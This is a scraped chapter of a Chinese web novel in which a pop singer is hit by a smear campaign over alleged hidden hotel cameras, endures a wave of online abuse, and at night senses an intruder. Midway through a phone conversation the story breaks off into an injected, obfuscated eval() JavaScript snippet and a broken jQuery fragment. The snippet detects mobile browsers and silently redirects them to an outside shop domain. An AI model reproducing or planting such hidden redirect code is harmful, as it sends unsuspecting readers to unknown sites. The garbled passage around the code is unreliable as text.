奇奇怪怪的。
书棠拿开手机,通话结束,屏幕再次返回到了锁屏界面。
听孟芷的意思,好像还挺严重的。
她这几天没怎么关注微博上的腥风血雨,昨晚给粉丝们发微博拜年时,注意到了几个营销号在发29号星川卫视春晚的节目。
她和张婉怡的节目紧紧挨着,两人都是唱歌,难免会被人拿出来做比较。
两家粉丝早就有过掐架的前例,一点就着。下沉平台,一个批皮发了一句:书棠唱的好有故事感,比掐着嗓子唱情歌好听多了。
大战一触即发。
粉圈掐架并不少见,她昨晚也没当回事。
思索片刻,她看了眼窗外。
时绪还没回来。
于是果断的切换了吃瓜账号,点进微博。
根本不需要刻意去搜,微博热搜,#女顶流被爆陪睡换医院#已经压过了大年初一的热搜词条,后面跟了个“爆”字,下面还有一连串的词条。
#书棠出道待遇#
#书棠铂宸酒店全球品牌代言人#
#书棠预制女顶流#
往下滑,还有一个逐渐攀升热度的词条吸引了她的注意。
#铂宸酒店草芥人命#
看这几个词条看的书棠一头雾水,正准备点进去时,车门突然被人从外面拉开。
时绪情绪平淡,随手一扔车钥匙,似是很匆忙的样子,“棠棠,我现在送你回家,公司那边有点事我得去解决一下。今晚不用等我睡觉了。”
“哦...”书棠稀里糊涂地点头,“好。”
————————
时绪没开进家门,把书棠放下就急匆匆地开车往公司赶。
这个时候,书棠也没心思关心他在忙什么。
佣人还在休假,明天才有人上班。偌大的别墅里只有书棠一个人,还怪安静的。
她趴在沙发上,解锁了手机,点进词条。
热门第一条微博,是圈内著名爆料人锤哥发的博文,第一张图片是一张聊天记录,对面人发了长长的一大条信息。
“锤哥,给你爆个料。内娱前不久爆火的那个女顶流,就是粉丝特别狂的那个,其实以前根本不姓书。她家里条件特别一般,后来她上初中的时候认识了个男的,就是图3那位,比她年纪大了不少,估计都能当她爸了。那个男的给她钱养着她,还把她的姓给改了,她也挺乐意的。据说那个人是铂宸酒店的董事长,也就是为什么全球顶尖的酒店品牌一出道就给她全球代的机会了。”
“不仅这样,这位仙女姐特别爱营销她的颜值,还有她白富美的人设,包括她之前那么多恋情热搜,全都是故意炒作的。还有那部jtq,其实热度水的跟,还有她的大粉其实全是公司花钱养的脂粉。但是呢,这些只是不正当竞争而已,她的那个干爹的那个公司,在酒店房间里安装针孔摄像头,有一个女生在黄色网站上发现了自己的视频,找他们酒店要说法,结果突然就消失不见了。”
什么乱七八糟的。
原文可能是为了过审,加了一堆的缩写,书棠配合着评论看了半天才看懂。
她往下滑图片,图片虽然模糊,但的确是自己。
那会的书棠大约刚上初中,爸爸开了辆豪车去接她放学,父女俩有说有笑的。
在后面,是酒店摄像头的问题。的确是下沉平台有一个三年前的帖子,帖子也在说铂晨酒店老板心思好歹毒,也贴出了自己拿着微型摄像头的房间。
那件事当时热度不高,诡异地是那个博主的账号在发布帖子的第七天被注销了。
别说她了解自己的哥哥和父亲,就是不了解,她也不会觉得爸爸和哥哥会干出这样的事。
粉丝控不过大体量的路人,她点开评论区,第一天就是结合她过往的阴谋论。
:不知道大家还记不记得陈一了,陈一好好的一个人,就因为跟她搭了个戏,粉丝之间有了过节,就莫名其妙的消失了,像是被封杀了一样。
:终于有人提到我们陈一了!!他的微博从那以后再也没更新,整个人也不知去向,我好害怕,他不会已经被仙女姐给...我不敢想!
:看着很荒唐,其实都有迹可循啊!哪个新人会一出道就拿大酒店的代言?哪个新人出道不到两年就拿了两个顶奢代言?哪个新人出道首本五大就是重要月份?
:你们别说了!资本真的好可怕啊,最近有哪几家在跟仙女姐粉丝吵架?催正主时不时出来报个平安吧。
:我去!仙女姐之前是不是被人差点捅死来着,后来这事也没动静了。我感觉仙女姐并不无辜,保不准是那女生的家人或者哪个受害者来报仇了。
三言两语下来,书棠仿佛已经成为板上钉钉地杀人犯。这事闹得不小,已经有人跑到她的微博底下来开麦了。
:高高在上的仙女给个解释吧?老男人包养你的钱不会都是卖别人的裸照攒出来的吧。
:我说怎么春晚上唱情歌唱的那么投入,原来本身就有一个爱装针孔摄像头的老情人啊。
不过一个上午,水军黑粉还有一些不知真相的路人完全失去了控制,书棠的微博已经彻底沦陷,各种恶毒的话语充斥在她的眼前。
作为艺人,要时刻做好承担所有责骂的准备。这一点,书棠早就摸清楚了。
往日里的小打小闹,粉丝之间不过是发个黑图互相攻击,但这次远不一样。
她按灭手机,趴的手臂都麻了。
这次下黑水的人远远不止想给她泼脏水这么简单,那人是想要搞死自己,顺带着把铂宸也拉下水。
这几年来,网络上的仇富情绪还有男女对立都愈演愈烈,酒店房间安装针孔摄像头,已经上升到社会性新闻了。
书棠烦躁的坐了一会儿,还没等她打电话给哥哥,书珩就已经率先打过电话来了。
“喂哥。”
“棠棠,你在哪里?”书珩那边的嘈杂声很大,一连说了两遍书棠才听清楚。
“在家。”
“时绪在吗?”
“他去公司了,说是公司出事了。”书棠站起身,在空旷地客厅里踱着步,“哥,网上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913027|213206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的事你看了吗?”
“刚看到。”书珩坐进车里,“你一个人在家,保护好自己,剩下的不用你管。”
他说着就要挂断电话,还是书棠在那边连说了好几遍的“等等”才控制住挂断电话的手。
“你先告诉我,网上的爆料是不是真的。”她鲜少这样正经地和哥哥说话,“这对我很重要。”
被包养这种花边新闻只是粉圈内部高潮而已,路人真正感到愤怒的是针孔摄像头事件。
“假的。”书珩不假思索道:“但这件事很复杂,处理起来可能需要一点时间。”
电话挂断后的半个小时,书棠坐在地毯上,下巴抵着膝盖,面色冷淡如水。
今天的日头不错,可惜此时已经过了正午,阳光照不到她,整栋别墅蔓延出了一股凉气。
入夜,她没胃口,一个人躺在床上没开灯。
随着月亮慢慢爬上枝头,书棠微博底下的话越来越恶毒。
“怎么不是你去死?要不要脸了,滚出内娱,以命偿命好吗?”
“仙女变妓女了吧,人血馒头好吃吗?”
“死的为什么不是你,被拍的为什么不是你?也是,那男的早就看光你了吧。”
“好厉害呀妓女姐,睡到了杀人犯耶。”
各种刺耳地言论层出不穷,书棠把手机关机,不想去看,可一闭上眼那些文字逐一在眼前浮现。
也不知道谁率先扒出来自己的新手机号和微信号,各种诅咒争相扑过来。
突然,黑漆漆地房间内亮起了一束光圈。书棠把自己裹紧被子,被这突如其来地光亮吓了一跳。
她现在有些草木皆兵,生怕会有些情绪激动地人跑到自己家里来。
从柔软的被中爬出来,她看了眼光亮的来源。
是寰宇最近研发的新产品,将配套的手环戴在手上,系统会根据佩戴者地心跳检测出他的情绪,从而做出相应地指令。
时绪当时设置了个什么来着?
书棠有点记不清了,盯着仪器看了半天它都没动静,也就不再理会,又和小猫趴窝一样趴回被窝里。
时绪今晚果然没回来,房间里太黑,她看不清指针转到了几,迷迷糊糊地睡了过去。
————————
凌晨三点,半梦半醒地书棠发觉身上浑身的不适,挣扎着想要醒过来却怎么也睁不开眼。
恍惚间,她仿佛看到了一个黑黢黢地身影浮在窗边,正伸手扒着窗户想要打开。
那个眼神极其贪婪,冒着绿光,像是黑夜里饿极了的狼,不知道在用什么东西敲打着窗户。
“是...是谁...”
书棠也不知道自己是否是在做梦,她艰难地张开嘴,嗓子又干又哑,浑身发热。
她无助地躺在床上,费力地想要撑开眼皮,最后又彻底闭了过去。
黑暗中,她什么也看不清,只感受到一个沉重地脚步声从房门朝床边移动,还伴随着急促地呼吸声。
陡然间,一只冰凉的手钻进了她的被子,她却连叫喊声都发不出来。